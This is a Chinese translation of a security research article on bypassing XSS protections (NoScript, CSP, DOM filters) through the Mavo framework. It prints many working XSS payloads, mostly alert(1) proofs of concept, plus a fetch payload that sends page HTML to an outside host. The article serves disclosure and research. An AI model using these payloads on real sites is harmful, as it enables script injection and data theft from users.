原文:《Abusing JavaScript frameworks to bypass XSS mitigations》
譯者:Twosecurity
在 AppSec Europe Sebastian Lekies 中,Krzysztof Kotowicz 和 Eduardo Vela Nava 展示了如何使用 javascript 框架來繞過 XSS 保護。在這篇文章中,我也會講解如何利用 Mavo 來突破防御(特別是 NoScript 過濾器)。Marvo 允許開發者用純 HTML 創建可交互的 Web App。它在 Smashing magzine 公布并很快引起了我的興趣,因此我開始分析其符號標記及功能。
$url的 DOM XSS
通過 Mavo 的 $url,開發者可以方便地得到 GET 參數。比方說你想得到參數 x,那么你可以這么寫:$url.x //retrieves the GET parameter x
很遺憾,這種方便也會帶來 DOM 類型的 XSS。我在17年五月份匯報過類似問題給 CSS 工作組。他們用 Mavo 管理評論并設置 $url 參素為 href,代碼大致如下:
<h1><a href="{$url.spec}"mv-attribute="null"property="title"></a></h1>
如你所見,他們通過 $url 獲取參數。然而,這個鏈接只有在獲取了有效數據的情況下才會被展示。我可以注入一個 javascript 偽協議,讓其獲得有效數據并回顯:javascript:alert(1)%252f%252f..%252fcss-images
上面的攻擊向量提供了一個相對路徑。這樣,Mavo 會先進入不存在的 javascript:alert(1) 文件夾,再通過..穿越到父目錄讀取有效的 css-images。除此之外,我還添加了兩個換行符注釋掉后面的非法語句,當目標點開這個鏈接時,就能保證用戶正常執行代碼。Mavo 至今依然有類似問題,有興趣的可以點擊[Poc]復現。
遠程加載 JSON 數據
Mavo 支持用戶通過 source 將 Mavo App 的數據源改為 local storage 或者其它位置。這一特性無疑大大地方便了攻擊者篡改網頁內容或者注入惡意 javascript URL。諷刺的是,Mavo 主頁的 Demo 恰好有此類漏洞。我們可以用參數指向外部 JSON 文件(在跨域訪問之前,記得開啟“Access-Control-Allow-Origin:* ”頭)并任意修改該 app 的數據。漏洞代碼如下:
<a property="companyURL"
mv-attribute="null" href="[companyURL]"
target="_blank">http://lea.verou.me</a>
此處的 href 使用了一個 Mavo 的表達式。"companyURL"是從 JSON 中加載的。如果我們包含了如下 JSON 文件:
{
"companyLogo":
"http://lea.verou.me/logo.svg",
"companyName":
"Pwnd Pwnd",
"companyAddress":
"Pwnd",
"companyURL":
"javascript:alert(1)",
"companyEmail":
"pwnd",
...
那么惡意的 javascript 協議會被引入,點擊[這里]復現。
繞過 NoScript 檢測
Mavo 默認允許我們在 HTML 文件中添加 MavoScript(這個 DSL 加入了對 js 的一些改善和擴展)。說我們可以用 and,or,mod 代替符號運算。其中,=符號被用來判斷(js 中是賦值)。再者,調用數學相關的方法時,我們不必使用 Math 對象(比方說直接 max(1,2,3))。[這里]有更多信息。
如果 Mavo 解析到了無效的 MavoScript,那么其會被回滾,并用 javascript parser 解析該段代碼。
比方說,我們想在 HTML 中計算1+1,那么我們可以通過[]插入表達式(類似 Angualr 的{{}}):[ 1+1 ]
雖然 Mavo 并沒有沙箱機制,但是我們的代碼會被重寫并在 with 中執行。因此,我們在調用的時候需要用到 self 或者 window 對象:[self.alert(1)]
Mavo 也支持 property 屬性。它會將 DOM 元素和 javascript 變量關聯起來,比方說:
<p>Slider value: [strength]/100</p>
<input type="range" property="strength"
title="[strength]%" />
我們還注意到其它幾個有意思的表達式:mv-value 和 mv-if 能脫離[]執行腳本。如果表達式為false,mv-if 會改變 DOM 值。值得注意的是這一表達式在任意標簽上都可以使用:
<div mv-if=”false”>Hide me</div>
在表達式中,MavoScript 有更有意思的行為。你可以使用沒被雙引號括起來的字符串(前提是它們需要包含字符,數字,或者下劃線)。如果對象屬性不存在的話,它們會被轉換為空字符。
了解了這么多之后,我開始研究如何繞過 NoScript 過濾器,DOM 過濾器,和 CSP。其中,繞過 DOM 過濾器最為簡單。因為你可以使用 data-* 屬性來繞過 HTML 驗證。在 Mavo 中,如果你要啟用 CSP,就不得不開啟 unsafe-eval。這意味著我們多了用 eval 直接執行字符串的危險。
我和 NoScript 的作者來了一場對抗賽,我的目標很簡單:繞過 NoScript 并外帶數據。我的第一個繞過是通過一個簡單的 fetch 達成的:[1 and self.fetch('//http://subdomain2.portswigger-labs.net/'&encodeURIComponent(document.body.innerHTML))]
因為 NoScript 過濾器看不懂 and,方括號和&,我可以通過&拼接字符串并發送 HTML。
后來 NoScript 開始檢測這些關鍵字,不過我再一次 bypass 了它:[''=''or self.alert(lol)]。此處的=是用來判斷,由于 javascript 并沒有定義緊隨其后的 or,所以 NoScript 不會認為后面的代碼為 javascript。
正如我前面說的那樣,mv- 屬性允許表達式自定義分隔符(默認是:[])執行 MavoScript。當NoScript 開始檢查[]時,我們可以用該屬性進一步繞過:<div data-mv-expressions="lolx
lolx">lolxself.alert('lol')lolx</div>
接下來,我開始研究如何用 html 中的 Mavo 表達式繞過防御。通過在HTML中插入 javascript
url,我們可以輕易繞過 CSP:“<a href=[javascript&':alert(1)']>test</a>”。雖然沒有引號,這里的 javascript 是一個字符串,payload 再用&將 javascript 和 ':alert(1)' 拼合在一起。
后來 NoScript 作者又將上述 bypass 封殺,不過我發現了用多重表達式配合 tag 屬性的繞過技巧:<a href='[javascript][":"][x.title][1][x.rel]' rel=) id=x title=alert(>test</a>,或者:<a href=javascript[x.rel]1)id=x rel=:alert(>test</a>
除此之外,我還可以用/**/強制 Mavo 解析器變為 javascript 模式,再用 js 的方式拼接字符串:[/**/x='javascript'][/**/x+=':alert'+y.rel+y.title]<a href=[x] id=y title=1) rel=(>test</a>
如果函數調用末尾緊跟著數字,NoScript 就不會檢查這個語句。而在 Mavo 中,mod 是一個運算符,因此我們可以用它在在函數后面接數字。由于我們并不需要空格(1%1不需要空格,所以1mod1也不用,畢竟它是一個運算符),NoScript 也不會檢查該語句了:[self.alert(1)mod1]
總結
由于引入了大量特殊符號,Mavo 會大大地削弱 CSP,NoScript 等保護機制。除了傳統的 DOM XSS 外,Mavo 還引入了數據源劫持等新型漏洞。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/533/
暫無評論